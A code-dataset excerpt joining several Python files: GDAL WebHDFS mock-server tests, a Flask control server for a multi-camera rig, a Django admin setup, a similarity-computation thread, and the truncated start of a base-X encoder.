+ 10, 0)\n if gdal.VSIFReadL(1, 4, f).decode('ascii') != 'data':\n gdaltest.post_reason('fail')\n return 'fail'\n gdal.VSIFCloseL(f)\n\n # Download with redirect (nominal) and permissions\n\n gdal.VSICurlClearCache()\n\n handler = webserver.SequentialHandler()\n handler.add('GET', '/webhdfs/v1/foo/bar?op=OPEN&offset=0&length=16384&user.name=root&delegation=token', 307,\n {'Location': gdaltest.webhdfs_redirected_url + '/webhdfs/v1/foo/bar?op=OPEN&offset=0&length=16384'})\n handler.add('GET', '/redirected/webhdfs/v1/foo/bar?op=OPEN&offset=0&length=16384', 200,\n {}, 'yeah')\n with gdaltest.config_options({'WEBHDFS_USERNAME': 'root',\n 'WEBHDFS_DELEGATION': 'token',\n 'WEBHDFS_DATANODE_HOST': 'localhost'}):\n with webserver.install_http_handler(handler):\n f = open_for_read(gdaltest.webhdfs_base_connection + '/foo/bar')\n if f is None:\n gdaltest.post_reason('fail')\n return 'fail'\n if gdal.VSIFReadL(1, 4, f).decode('ascii') != 'yeah':\n gdaltest.post_reason('fail')\n return 'fail'\n gdal.VSIFCloseL(f)\n\n # Test error\n\n gdal.VSICurlClearCache()\n\n f = open_for_read(gdaltest.webhdfs_base_connection + '/foo/bar')\n if f is None:\n gdaltest.post_reason('fail')\n return 'fail'\n\n handler = webserver.SequentialHandler()\n handler.add('GET', '/webhdfs/v1/foo/bar?op=OPEN&offset=0&length=16384', 404)\n with webserver.install_http_handler(handler):\n if len(gdal.VSIFReadL(1, 4, f)) != 0:\n gdaltest.post_reason('fail')\n return 'fail'\n\n # Retry: shouldn't not cause network access\n if len(gdal.VSIFReadL(1, 4, f)) != 0:\n gdaltest.post_reason('fail')\n return 'fail'\n\n gdal.VSIFCloseL(f)\n\n return 'success'\n\n###############################################################################\n# Test VSIStatL()\n\n\ndef vsiwebhdfs_stat():\n\n if gdaltest.webserver_port == 0:\n return 'skip'\n\n gdal.VSICurlClearCache()\n\n handler = webserver.SequentialHandler()\n handler.add('GET', '/webhdfs/v1/foo/bar?op=GETFILESTATUS', 200,\n {}, '{\"FileStatus\":{\"type\":\"FILE\",\"length\":1000000}}')\n with webserver.install_http_handler(handler):\n stat_res = gdal.VSIStatL(gdaltest.webhdfs_base_connection + '/foo/bar')\n if stat_res is None or stat_res.size != 1000000:\n gdaltest.post_reason('fail')\n if stat_res is not None:\n print(stat_res.size)\n else:\n print(stat_res)\n return 'fail'\n\n # Test caching\n stat_res = gdal.VSIStatL(gdaltest.webhdfs_base_connection + '/foo/bar')\n if stat_res.size != 1000000:\n gdaltest.post_reason('fail')\n return 'fail'\n\n # Test missing file\n handler = webserver.SequentialHandler()\n handler.add('GET', '/webhdfs/v1/unexisting?op=GETFILESTATUS', 404, {},\n '{\"RemoteException\":{\"exception\":\"FileNotFoundException\",\"javaClassName\":\"java.io.FileNotFoundException\",\"message\":\"File does not exist: /unexisting\"}}')\n with webserver.install_http_handler(handler):\n stat_res = gdal.VSIStatL(\n gdaltest.webhdfs_base_connection + '/unexisting')\n if stat_res is not None:\n gdaltest.post_reason('fail')\n return 'fail'\n\n return 'success'\n\n###############################################################################\n# Test ReadDir()\n\n\ndef vsiwebhdfs_readdir():\n\n if gdaltest.webserver_port == 0:\n return 'skip'\n\n gdal.VSICurlClearCache()\n\n handler = webserver.SequentialHandler()\n handler.add('GET', '/webhdfs/v1/foo/?op=LISTSTATUS', 200,\n {}, '{\"FileStatuses\":{\"FileStatus\":[{\"type\":\"FILE\",\"modificationTime\":1000,\"pathSuffix\":\"bar.baz\",\"length\":123456},{\"type\":\"DIRECTORY\",\"pathSuffix\":\"mysubdir\",\"length\":0}]}}')\n with webserver.install_http_handler(handler):\n dir_contents = gdal.ReadDir(gdaltest.webhdfs_base_connection + '/foo')\n if dir_contents != ['bar.baz', 'mysubdir']:\n gdaltest.post_reason('fail')\n print(dir_contents)\n return 'fail'\n stat_res = gdal.VSIStatL(gdaltest.webhdfs_base_connection + '/foo/bar.baz')\n if stat_res.size != 123456:\n gdaltest.post_reason('fail')\n print(stat_res.size)\n return 'fail'\n if stat_res.mtime != 1:\n gdaltest.post_reason('fail')\n return 'fail'\n\n # ReadDir on something known to be a file shouldn't cause network access\n dir_contents = gdal.ReadDir(\n gdaltest.webhdfs_base_connection + '/foo/bar.baz')\n if dir_contents is not None:\n gdaltest.post_reason('fail')\n return 'fail'\n\n # Test error on ReadDir()\n handler = webserver.SequentialHandler()\n handler.add('GET', '/webhdfs/v1foo/error_test/?op=LISTSTATUS', 404)\n with webserver.install_http_handler(handler):\n dir_contents = gdal.ReadDir(\n gdaltest.webhdfs_base_connection + 'foo/error_test/')\n if dir_contents is not None:\n gdaltest.post_reason('fail')\n print(dir_contents)\n return 'fail'\n\n return 'success'\n\n###############################################################################\n# Test write\n\n\ndef vsiwebhdfs_write():\n\n if gdaltest.webserver_port == 0:\n return 'skip'\n\n gdal.VSICurlClearCache()\n\n # Zero length file\n handler = webserver.SequentialHandler()\n with webserver.install_http_handler(handler):\n # Missing required config options\n with gdaltest.error_handler():\n f = gdal.VSIFOpenL(\n gdaltest.webhdfs_base_connection + '/foo/bar', 'wb')\n if f is not None:\n gdaltest.post_reason('fail')\n return 'fail'\n\n handler = webserver.SequentialHandler()\n handler.add('PUT', '/webhdfs/v1/foo/bar?op=CREATE&overwrite=true&user.name=root', 307,\n {'Location': gdaltest.webhdfs_redirected_url + '/webhdfs/v1/foo/bar?op=CREATE&overwrite=true&user.name=root'}, )\n handler.add(\n 'PUT', '/redirected/webhdfs/v1/foo/bar?op=CREATE&overwrite=true&user.name=root', 201)\n\n with gdaltest.config_options({'WEBHDFS_USERNAME': 'root', 'WEBHDFS_DATANODE_HOST': 'localhost'}):\n with webserver.install_http_handler(handler):\n f = gdal.VSIFOpenL(\n gdaltest.webhdfs_base_connection + '/foo/bar', 'wb')\n if f is None:\n gdaltest.post_reason('fail')\n return 'fail'\n if gdal.VSIFCloseL(f) != 0:\n gdaltest.post_reason('fail')\n return 'fail'\n\n # Non-empty file\n\n gdal.VSICurlClearCache()\n\n handler = webserver.SequentialHandler()\n handler.add('PUT', '/webhdfs/v1/foo/bar?op=CREATE&overwrite=true&user.name=root', 307,\n {'Location': gdaltest.webhdfs_redirected_url + '/webhdfs/v1/foo/bar?op=CREATE&overwrite=true&user.name=root'}, )\n handler.add(\n 'PUT', '/redirected/webhdfs/v1/foo/bar?op=CREATE&overwrite=true&user.name=root', 201)\n\n with gdaltest.config_options({'WEBHDFS_USERNAME': 'root', 'WEBHDFS_DATANODE_HOST': 'localhost'}):\n with webserver.install_http_handler(handler):\n f = gdal.VSIFOpenL(\n gdaltest.webhdfs_base_connection + '/foo/bar', 'wb')\n if f is None:\n gdaltest.post_reason('fail')\n return 'fail'\n\n if gdal.VSIFWriteL('foobar', 1, 6, f) != 6:\n gdaltest.post_reason('fail')\n return 'fail'\n\n handler = webserver.SequentialHandler()\n\n def method(request):\n h = request.headers\n if 'Content-Length' in h and h['Content-Length'] != 0:\n sys.stderr.write('Bad headers: %s\\n' % str(request.headers))\n request.send_response(403)\n request.send_header('Content-Length', 0)\n request.end_headers()\n\n request.protocol_version = 'HTTP/1.1'\n request.send_response(307)\n request.send_header('Location', gdaltest.webhdfs_redirected_url +\n '/webhdfs/v1/foo/bar?op=APPEND&user.name=root')\n request.end_headers()\n\n handler.add('POST', '/webhdfs/v1/foo/bar?op=APPEND&user.name=root',\n 307, custom_method=method)\n handler.add('POST', '/redirected/webhdfs/v1/foo/bar?op=APPEND&user.name=root',\n 200, expected_body='foobar'.encode('ascii'))\n\n with webserver.install_http_handler(handler):\n if gdal.VSIFCloseL(f) != 0:\n gdaltest.post_reason('fail')\n return 'fail'\n\n # Errors during file creation\n\n gdal.VSICurlClearCache()\n\n handler = webserver.SequentialHandler()\n handler.add(\n 'PUT', '/webhdfs/v1/foo/bar?op=CREATE&overwrite=true&user.name=root', 404)\n with gdaltest.config_options({'WEBHDFS_USERNAME': 'root', 'WEBHDFS_DATANODE_HOST': 'localhost'}):\n with webserver.install_http_handler(handler):\n with gdaltest.error_handler():\n f = gdal.VSIFOpenL(\n gdaltest.webhdfs_base_connection + '/foo/bar', 'wb')\n if f is not None:\n gdaltest.post_reason('fail')\n return 'fail'\n\n handler = webserver.SequentialHandler()\n handler.add('PUT', '/webhdfs/v1/foo/bar?op=CREATE&overwrite=true&user.name=root', 307,\n {'Location': gdaltest.webhdfs_redirected_url + '/webhdfs/v1/foo/bar?op=CREATE&overwrite=true&user.name=root'}, )\n with gdaltest.config_options({'WEBHDFS_USERNAME': 'root'}):\n with webserver.install_http_handler(handler):\n with gdaltest.error_handler():\n f = gdal.VSIFOpenL(\n gdaltest.webhdfs_base_connection + '/foo/bar', 'wb')\n if f is not None:\n gdaltest.post_reason('fail')\n return 'fail'\n\n # Errors during POST\n\n gdal.VSICurlClearCache()\n\n handler = webserver.SequentialHandler()\n handler.add('PUT', '/webhdfs/v1/foo/bar?op=CREATE&overwrite=true&user.name=root', 307,\n {'Location': gdaltest.webhdfs_redirected_url + '/webhdfs/v1/foo/bar?op=CREATE&overwrite=true&user.name=root'}, )\n handler.add(\n 'PUT', '/redirected/webhdfs/v1/foo/bar?op=CREATE&overwrite=true&user.name=root', 201)\n\n with gdaltest.config_options({'WEBHDFS_USERNAME': 'root', 'WEBHDFS_DATANODE_HOST': 'localhost'}):\n with webserver.install_http_handler(handler):\n f = gdal.VSIFOpenL(\n gdaltest.webhdfs_base_connection + '/foo/bar', 'wb')\n if f is None:\n gdaltest.post_reason('fail')\n return 'fail'\n\n if gdal.VSIFWriteL('foobar', 1, 6, f) != 6:\n gdaltest.post_reason('fail')\n return 'fail'\n\n handler = webserver.SequentialHandler()\n handler.add('POST', '/webhdfs/v1/foo/bar?op=APPEND&user.name=root', 307,\n {'Location': gdaltest.webhdfs_redirected_url + '/webhdfs/v1/foo/bar?op=APPEND&user.name=root'})\n handler.add(\n 'POST', '/redirected/webhdfs/v1/foo/bar?op=APPEND&user.name=root', 400)\n\n with gdaltest.error_handler():\n with webserver.install_http_handler(handler):\n if gdal.VSIFCloseL(f) == 0:\n gdaltest.post_reason('fail')\n return 'fail'\n\n return 'success'\n\n###############################################################################\n# Test Unlink()\n\n\ndef vsiwebhdfs_unlink():\n\n if gdaltest.webserver_port == 0:\n return 'skip'\n\n gdal.VSICurlClearCache()\n\n # Success\n handler = webserver.SequentialHandler()\n handler.add('DELETE', '/webhdfs/v1/foo/bar?op=DELETE', 200,\n {}, '{\"boolean\":true}')\n with webserver.install_http_handler(handler):\n ret = gdal.Unlink(gdaltest.webhdfs_base_connection + '/foo/bar')\n if ret != 0:\n gdaltest.post_reason('fail')\n return 'fail'\n\n gdal.VSICurlClearCache()\n\n\n # With permissions\n\n gdal.VSICurlClearCache()\n\n handler = webserver.SequentialHandler()\n handler.add('DELETE', '/webhdfs/v1/foo/bar?op=DELETE&user.name=root&delegation=token', 200,\n {}, '{\"boolean\":true}')\n with gdaltest.config_options({'WEBHDFS_USERNAME': 'root',\n 'WEBHDFS_DELEGATION': 'token'}):\n with webserver.install_http_handler(handler):\n ret = gdal.Unlink(gdaltest.webhdfs_base_connection + '/foo/bar')\n if ret != 0:\n gdaltest.post_reason('fail')\n return 'fail'\n\n # Failure\n handler = webserver.SequentialHandler()\n handler.add('DELETE', '/webhdfs/v1/foo/bar?op=DELETE', 200,\n {}, '{\"boolean\":false}')\n with webserver.install_http_handler(handler):\n with gdaltest.error_handler():\n ret = gdal.Unlink(gdaltest.webhdfs_base_connection + '/foo/bar')\n if ret != -1:\n gdaltest.post_reason('fail')\n return 'fail'\n\n gdal.VSICurlClearCache()\n\n # Failure\n handler = webserver.SequentialHandler()\n handler.add('DELETE', '/webhdfs/v1/foo/bar?op=DELETE', 404,\n {})\n with webserver.install_http_handler(handler):\n with gdaltest.error_handler():\n ret = gdal.Unlink(gdaltest.webhdfs_base_connection + '/foo/bar')\n if ret != -1:\n gdaltest.post_reason('fail')\n return 'fail'\n\n return 'success'\n\n###############################################################################\n# Test Mkdir() / Rmdir()\n\n\ndef vsiwebhdfs_mkdir_rmdir():\n\n if gdaltest.webserver_port == 0:\n return 'skip'\n\n gdal.VSICurlClearCache()\n\n # Invalid name\n ret = gdal.Mkdir('/vsiwebhdfs', 0)\n if ret == 0:\n gdaltest.post_reason('fail')\n return 'fail'\n\n # Valid\n handler = webserver.SequentialHandler()\n handler.add('PUT', '/webhdfs/v1/foo/dir?op=MKDIRS', 200,\n {}, '{\"boolean\":true}')\n with webserver.install_http_handler(handler):\n ret = gdal.Mkdir(gdaltest.webhdfs_base_connection + '/foo/dir', 0)\n if ret != 0:\n gdaltest.post_reason('fail')\n return 'fail'\n\n # Valid with all options\n handler = webserver.SequentialHandler()\n handler.add('PUT', '/webhdfs/v1/foo/dir?op=MKDIRS&user.name=root&delegation=token&permission=755', 200,\n {}, '{\"boolean\":true}')\n with gdaltest.config_options({'WEBHDFS_USERNAME': 'root', 'WEBHDFS_DELEGATION': 'token'}):\n with webserver.install_http_handler(handler):\n ret = gdal.Mkdir(gdaltest.webhdfs_base_connection +\n '/foo/dir/', 493) # 0755\n if ret != 0:\n gdaltest.post_reason('fail')\n return 'fail'\n\n # Error\n handler = webserver.SequentialHandler()\n handler.add('PUT', '/webhdfs/v1/foo/dir_error?op=MKDIRS', 404)\n with webserver.install_http_handler(handler):\n ret = gdal.Mkdir(gdaltest.webhdfs_base_connection +\n '/foo/dir_error', 0)\n if ret == 0:\n gdaltest.post_reason('fail')\n return 'fail'\n\n # Root name is invalid\n ret = gdal.Mkdir(gdaltest.webhdfs_base_connection + '/', 0)\n if ret == 0:\n gdaltest.post_reason('fail')\n return 'fail'\n\n # Invalid name\n ret = gdal.Rmdir('/vsiwebhdfs')\n if ret == 0:\n gdaltest.post_reason('fail')\n return 'fail'\n\n gdal.VSICurlClearCache()\n\n # Valid\n handler = webserver.SequentialHandler()\n handler.add('DELETE', '/webhdfs/v1/foo/dir?op=DELETE', 200,\n {}, '{\"boolean\":true}')\n with webserver.install_http_handler(handler):\n ret = gdal.Rmdir(gdaltest.webhdfs_base_connection + '/foo/dir')\n if ret != 0:\n gdaltest.post_reason('fail')\n return 'fail'\n\n # Error\n handler = webserver.SequentialHandler()\n handler.add('DELETE', '/webhdfs/v1/foo/dir_error?op=DELETE', 404)\n with webserver.install_http_handler(handler):\n ret = gdal.Rmdir(gdaltest.webhdfs_base_connection + '/foo/dir_error')\n if ret == 0:\n gdaltest.post_reason('fail')\n return 'fail'\n\n return 'success'\n\n###############################################################################\n\n\ndef vsiwebhdfs_stop_webserver():\n\n if gdaltest.webserver_port == 0:\n return 'skip'\n\n # Clearcache needed to close all connections, since the Python server\n # can only handle one connection at a time\n gdal.VSICurlClearCache()\n\n webserver.server_stop(gdaltest.webserver_process, gdaltest.webserver_port)\n\n return 'success'\n\n###############################################################################\n# Nominal cases (require valid credentials)\n\n\ndef vsiwebhdfs_extra_1():\n\n if not gdaltest.built_against_curl():\n return 'skip'\n\n webhdfs_url = gdal.GetConfigOption('WEBHDFS_URL')\n if webhdfs_url is None:\n print('Missing WEBHDFS_URL for running gdaltest_list_extra')\n return 'skip'\n\n if webhdfs_url.endswith('/webhdfs/v1') or webhdfs_url.endswith('/webhdfs/v1/'):\n path = '/vsiwebhdfs/' + webhdfs_url\n statres = gdal.VSIStatL(path)\n if statres is None or not stat.S_ISDIR(statres.mode):\n gdaltest.post_reason('fail')\n print('%s is not a valid bucket' % path)\n return 'fail'\n\n readdir = gdal.ReadDir(path)\n if readdir is None:\n gdaltest.post_reason('fail')\n print('ReadDir() should not return empty list')\n return 'fail'\n for filename in readdir:\n if filename != '.':\n subpath = path + '/' + filename\n if gdal.VSIStatL(subpath) is None:\n gdaltest.post_reason('fail')\n print('Stat(%s) should not return an error' % subpath)\n return 'fail'\n\n unique_id = 'vsiwebhdfs_test'\n subpath = path + '/' + unique_id\n ret = gdal.Mkdir(subpath, 0)\n if ret < 0:\n gdaltest.post_reason('fail')\n print('Mkdir(%s) should not return an error' % subpath)\n return 'fail'\n\n readdir = gdal.ReadDir(path)\n if unique_id not in readdir:\n gdaltest.post_reason('fail')\n print('ReadDir(%s) should contain %s' % (path, unique_id))\n print(readdir)\n return 'fail'\n\n #ret = gdal.Mkdir(subpath, 0)\n # if ret == 0:\n # gdaltest.post_reason('fail')\n # print('Mkdir(%s) repeated should return an error' % subpath)\n # return 'fail'\n\n ret = gdal.Rmdir(subpath)\n if ret < 0:\n gdaltest.post_reason('fail')\n print('Rmdir(%s) should not return an error' % subpath)\n return 'fail'\n\n readdir = gdal.ReadDir(path)\n if unique_id in readdir:\n gdaltest.post_reason('fail')\n print('ReadDir(%s) should not contain %s' % (path, unique_id))\n print(readdir)\n return 'fail'\n\n ret = gdal.Rmdir(subpath)\n if ret == 0:\n gdaltest.post_reason('fail')\n print('Rmdir(%s) repeated should return an error' % subpath)\n return 'fail'\n\n ret = gdal.Mkdir(subpath, 0)\n if ret < 0:\n gdaltest.post_reason('fail')\n print('Mkdir(%s) should not return an error' % subpath)\n return 'fail'\n\n f = gdal.VSIFOpenL(subpath + '/test.txt', 'wb')\n if f is None:\n gdaltest.post_reason('fail')\n return 'fail'\n gdal.VSIFWriteL('hello', 1, 5, f)\n gdal.VSIFCloseL(f)\n\n ret = gdal.Rmdir(subpath)\n if ret == 0:\n gdaltest.post_reason('fail')\n print('Rmdir(%s) on non empty directory should return an error' % subpath)\n return 'fail'\n\n f = gdal.VSIFOpenL(subpath + '/test.txt', 'rb')\n if f is None:\n gdaltest.post_reason('fail')\n return 'fail'\n data = gdal.VSIFReadL(1, 5, f).decode('utf-8')\n if data != 'hello':\n gdaltest.post_reason('fail')\n print(data)\n return 'fail'\n gdal.VSIFCloseL(f)\n\n ret = gdal.Unlink(subpath + '/test.txt')\n if ret < 0:\n gdaltest.post_reason('fail')\n print('Unlink(%s) should not return an error' %\n (subpath + '/test.txt'))\n return 'fail'\n\n ret = gdal.Rmdir(subpath)\n if ret < 0:\n gdaltest.post_reason('fail')\n print('Rmdir(%s) should not return an error' % subpath)\n return 'fail'\n\n return 'success'\n\n f = open_for_read('/vsiwebhdfs/' + webhdfs_url)\n if f is None:\n gdaltest.post_reason('fail')\n return 'fail'\n ret = gdal.VSIFReadL(1, 1, f)\n gdal.VSIFCloseL(f)\n\n if len(ret) != 1:\n gdaltest.post_reason('fail')\n print(ret)\n return 'fail'\n\n return 'success'\n\n###############################################################################\n\n\ndef vsiwebhdfs_cleanup():\n\n for var in gdaltest.webhdfs_vars:\n gdal.SetConfigOption(var, gdaltest.webhdfs_vars[var])\n\n return 'success'\n\n\ngdaltest_list = [vsiwebhdfs_init,\n vsiwebhdfs_start_webserver,\n vsiwebhdfs_open,\n vsiwebhdfs_stat,\n vsiwebhdfs_readdir,\n vsiwebhdfs_write,\n vsiwebhdfs_unlink,\n vsiwebhdfs_mkdir_rmdir,\n vsiwebhdfs_stop_webserver,\n vsiwebhdfs_cleanup]\n\ngdaltest_list_extra = [vsiwebhdfs_extra_1]\n\nif __name__ == '__main__':\n\n gdaltest.setup_run('vsiwebhdfs')\n\n if gdal.GetConfigOption('RUN_MANUAL_ONLY', None):\n gdaltest.run_tests(gdaltest_list_extra)\n else:\n gdaltest.run_tests(\n gdaltest_list + gdaltest_list_extra + [vsiwebhdfs_cleanup])\n\n sys.exit(gdaltest.summarize())\n","sub_path":"autotest/gcore/vsiwebhdfs.py","file_name":"vsiwebhdfs.py","file_ext":"py","file_size_in_byte":25305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"643697239","text":"# Server is setup here\nfrom flask import Flask, session, render_template, request, jsonify, current_app\nfrom flask_bootstrap import Bootstrap\nimport time, os\n\nfrom odm360.utils import parse_config, make_config\nfrom odm360.log import start_logger\nimport odm360.camera360rig as camrig\nfrom odm360.utils import get_lan_ip\n\n# API for picam is defined below\ndef do_GET():\n \"\"\"\n GET API should provide a json with the following fields:\n state: str - can be:\n \"idle\" - before anything is done, or after camera is stopped (to be implemented with push button)\n \"ready\" - camera is initialized\n \"capture\" - camera is capturing\n req: str - name of method to call from server\n kwargs: dict - any kwargs that need to be parsed to method (can be left out if None)\n log: str - log message to be printed from client on server's log (see self.logger)\n\n the GET API then decides what action should be taken given the state.\n Client is responsible for updating its status to the current\n \"\"\"\n try:\n msg = request.get_json()\n print(msg)\n # Create or update state of current camera\n current_app.config['rig'].cam_state[request.remote_addr] = msg['state']\n log_msg = f'Cam {request.remote_addr} - GET {msg[\"req\"]}'\n logger.debug(log_msg)\n # check if task exists and sent instructions back\n method = f'get_{msg[\"req\"].lower()}'\n # if hasattr(self, method):\n if 'kwargs' in msg:\n kwargs = msg['kwargs']\n else:\n kwargs = {}\n task = getattr(current_app.config['rig'], method)\n # execute with key-word arguments provided\n r = task(**kwargs)\n return r\n except:\n return {'task': 'wait',\n 'kwargs': {}\n }\n\n# POST echoes the message adding a JSON field\ndef do_POST():\n \"\"\"\n POST API should provide a json with the following fields:\n req: str - name of method for posting to call from server (e.g. log)\n kwargs: dict - any kwargs that need to be parsed to method (can be left out if None)\n the POST API then decides what action should be taken based on the POST request.\n POST API will also return a result back\n \"\"\"\n msg = request.get_json()\n print(msg)\n # show request in log\n log_msg = f'Cam {request.remote_addr} - POST {msg[\"req\"]}'\n\n logger.debug(log_msg)\n\n # check if task exists and sent instructions back\n method = f'post_{msg[\"req\"].lower()}'\n if hasattr(current_app.config['rig'], method):\n if 'kwargs' in msg:\n kwargs = msg['kwargs']\n else:\n kwargs = {}\n task = getattr(current_app.config['rig'], method)\n # execute with key-word arguments provided\n r = task(**kwargs)\n return r\n\ndef cleanopts(optsin):\n \"\"\"Takes a multidict from a flask form, returns cleaned dict of options\"\"\"\n opts = {}\n d = optsin\n for key in d:\n opts[key] = optsin[key].lower().replace(' ', '_')\n return opts\n\ndef initialize_config(config_fn):\n config = parse_config(config_fn)\n # test if we are ready to start devices or not\n start_parent = True\n if config.get('main', 'n_cams') == '':\n start_parent = False\n logger.info('n_cams is missing in config, starting without a running parent server')\n if config.get('main', 'dt') == '':\n start_parent = False\n logger.info('dt is missing in config, starting without a running parent server')\n if config.get('main', 'project') == '':\n start_parent = False\n logger.info('project is missing in config, starting without a running parent server')\n if config.get('main', 'root') == '':\n start_parent = False\n logger.info('root is missing in config, starting without a running parent server')\n current_app.config['config'] = dict(config.items('main'))\n current_app.config['ip'] = get_lan_ip()\n current_app.config['start_parent'] = start_parent\n\napp = Flask(__name__)\napp.secret_key = 'odm360'\nbootstrap = Bootstrap(app)\n\nlogger = start_logger(\"True\", \"False\")\n\n@app.route(\"/\")\ndef gps_page():\n # start with a parent server immediately. Make a new one when a new project is initiated\n # TODO: only do this if there is no rig initialized yet.\n if not('config' in current_app.config):\n if os.path.isfile('current_config'):\n with open('current_config', 'r') as f:\n config_fn = os.path.join('config', f.read())\n else:\n config_fn = 'config/settings.conf.default'\n logger.info(f'Parsing project config from {os.path.abspath(config_fn)}')\n initialize_config(config_fn)\n if current_app.config['start_parent']:\n logger.info('Starting parent server')\n camrig.start_rig()\n\n \"\"\"\n The status web page with the gnss satellites levels and a map\n \"\"\"\n return render_template(\"status.html\")\n\n@app.route('/project', methods=['GET', 'POST'])\ndef project_page():\n \"\"\"\n The settings page where you can manage the various services, the parameters, update, power...\n \"\"\"\n if request.method == 'POST':\n # config = current_app.config['config']\n form = cleanopts(request.form)\n config = {}\n # set the config options as provided\n config['project'] = form['project']\n config['n_cams'] = form['n_cams']\n config['dt'] = form['dt']\n config['root'] = os.path.join('photos', form['project'])\n config['verbose'] = \"True\" if form['loglevel']=='debug' else \"False\"\n config['quiet'] = \"False\"\n config_fn = f'{form[\"project\"]}.ini'\n conf_obj = make_config(config)\n with open(os.path.abspath(os.path.join('config', config_fn)), 'w') as f:\n conf_obj.write(f)\n with open('current_config', 'w') as f:\n f.write(config_fn)\n initialize_config(os.path.join('config', config_fn))\n # start the rig, after this, the rig is in current_app.config['rig'], if start_parent is true\n if current_app.config['start_parent']:\n camrig.start_rig()\n\n return render_template(\"status.html\") #, main_settings = main_settings,\n # ntrip_settings = ntrip_settings,\n # file_settings = file_settings,\n # rtcm_svr_settings = rtcm_svr_settings)\n\n else:\n return render_template(\"project.html\") #, main_settings = main_settings,\n # ntrip_settings = ntrip_settings,\n # file_settings = file_settings,\n # rtcm_svr_settings = rtcm_svr_settings)\n\n@app.route('/logs')\ndef logs_page():\n \"\"\"\n The data web pages where you can download/delete the raw gnss data\n \"\"\"\n return render_template(\"logs.html\")\n\n@app.route('/settings')\ndef settings_page():\n \"\"\"\n The data web pages where you can download/delete the raw gnss data\n \"\"\"\n return render_template(\"settings.html\")\n\n@app.route('/cams')\ndef cam_page():\n \"\"\"\n The data web pages where you can download/delete the raw gnss data\n \"\"\"\n return render_template(\"cam_status.html\", n_cams=range(6))\n\n@app.route('/file_page')\ndef file_page():\n return render_template(\"file_page.html\")\n\n@app.route('/picam', methods=['GET', 'POST'])\ndef picam():\n if request.method == 'POST':\n\n r = do_POST()\n else:\n # print(request.get_json())\n r = do_GET() # response is passed back to client\n return jsonify(r)\n\ndef run(app):\n app.run(debug=False, port=5000, host=\"0.0.0.0\")\n\nif __name__ == \"__main__\":\n run(app)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"466508641","text":"# -*- coding: utf-8 -*-\n\nfrom user_app.models import User, messages, obj_for_rate\nfrom django.contrib import admin\nfrom django.contrib.auth.admin import UserAdmin as BaseUserAdmin\nfrom django.utils.translation import ugettext_lazy as _\n\n\n\t\t\t#--------------Пользователи-----------------\n\n\nclass UserAdmin(BaseUserAdmin):\n fieldsets = (\n (None, {'fields': ('username', 'password')}),\n (_('User info: '), {'fields': (\n 'organization_name',\n 'first_name',\n 'last_name',\n 'email',\n 'org_pic',\n 'description',\n )}),\n (_('Requisites: '), {'fields': ('adress', 'telephone', 'requisits',)}),\n (_('Rights: '), {'fields': ('is_active', 'is_staff', 'is_superuser', 'groups', 'user_permissions')}),\n (_('Important dates: '), {'fields': ('last_login', 'date_joined')}),\n )\n add_fieldsets = (\n (None, {\n 'classes': ('wide',),\n 'fields': ('username', 'email', 'password1', 'password2')}\n ),\n )\n\n\n\n \t\t#--------------Пользователи-----------------\n\n \t\t#---------------Сообщения------------------\n\nclass messagesAdmin(admin.ModelAdmin):\n\tfields = [\n 'mess_Recipient', \n 'mess_from', \n 'message_subject', \n 'message_content', \n 'message_ReadUnread',\n ]\n\tlist_filter = [\n 'message_ReadUnread',\n ]\n\tlist_display = (\n 'mess_Recipient', \n 'mess_from', \n 'message_ReadUnread'\n )\n\tlist_per_page = 100\n\n\n\n \t\t#---------------Сообщения------------------\n\n #---------------Для оценки------------------\n\nclass obj_for_rateAdmin(admin.ModelAdmin):\n fields = [\n 'obj_title', \n 'obj_description', \n 'obj_state', \n 'obj_pic_1', \n 'obj_pic_2', \n 'obj_pic_3', \n 'obj_date_added', \n 'obj_desired_price',\n ]\n list_filter = [\n 'obj_state', \n 'obj_desired_price',\n ]\n list_display = (\n 'obj_title', \n 'obj_state', \n 'obj_date_added', \n 'obj_desired_price',\n )\n list_per_page = 100\n\n #---------------Для оценки------------------\n\n\n\n\nadmin.site.register(User, UserAdmin)\nadmin.site.register(messages, messagesAdmin)\nadmin.site.register(obj_for_rate, obj_for_rateAdmin)\n","sub_path":"user_app/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"539215642","text":"from correlation_coefficent import compute_correlation_coefficent\nimport threading\nclass ComputeCorrelationCoefficentThread (threading.Thread):\n \"\"\"\n user_dict -> dictionary of the user: {itemID:rating}\n user_ids -> set of users IDs\n utility_matrix -> dataset\n is_explicit -> boolean value that defines if we\n need to scale or not cause in the case of implicit\n we do not need to scale\n \"\"\"\n def __init__(self, user_dict, user_ids, utility_matrix, is_explicit, name = None):\n threading.Thread.__init__(self)\n self.name = name\n self.user_dict = user_dict\n self.user_ids = user_ids\n self.is_explicit = is_explicit\n self.utility_matrix = utility_matrix\n self.result = None\n \n def run(self):\n if self.name == None:\n raise Exception('Something bad happened, thread has no name')\n #print('Thread {} started'.format(self.name))\n self.compute_similarities()\n\n \n def compute_similarities(self):\n similarities = []\n for user in self.user_ids:\n if(self.utility_matrix.get(user) == None): #cause the set of users to which I do the similarity comes \n #from the set of users in the explicit dictionary so some one could\n #not appear in the implicit dictionary: If user does not appear -> no\n #implicit rating -> similarity = 0\n similarities.append([user,0])\n else:\n tmp_user_dict = self.utility_matrix[user]\n similarity = compute_correlation_coefficent(self.user_dict, tmp_user_dict, self.is_explicit)\n similarities.append([user,similarity])\n \n self.result = similarities\n\n # vector of similarities --> [userID, sim_score]\n def join(self):\n threading.Thread.join(self)\n if self.result is not None:\n return self.result\n else:\n print('Error using threads, result is None')","sub_path":"src/books/libraries/correlation_coefficent_thread.py","file_name":"correlation_coefficent_thread.py","file_ext":"py","file_size_in_byte":2045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"281916607","text":"from Crypto.Cipher import ARC4\nfrom re import match\nfrom choworplow import r, SECRET_KEY as KEY\n\nALPHABET = \"23456789abcdefghijkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ\"\n\ndef baseX_encode(num, alphabet=ALPHABET):\n ''' encode base 10 num into base X where X=len(alphabet) '''\n if (num == 0):\n return alphabet[0]\n arr = []\n base = len(alphabet)\n while num:\n rem = num % base\n 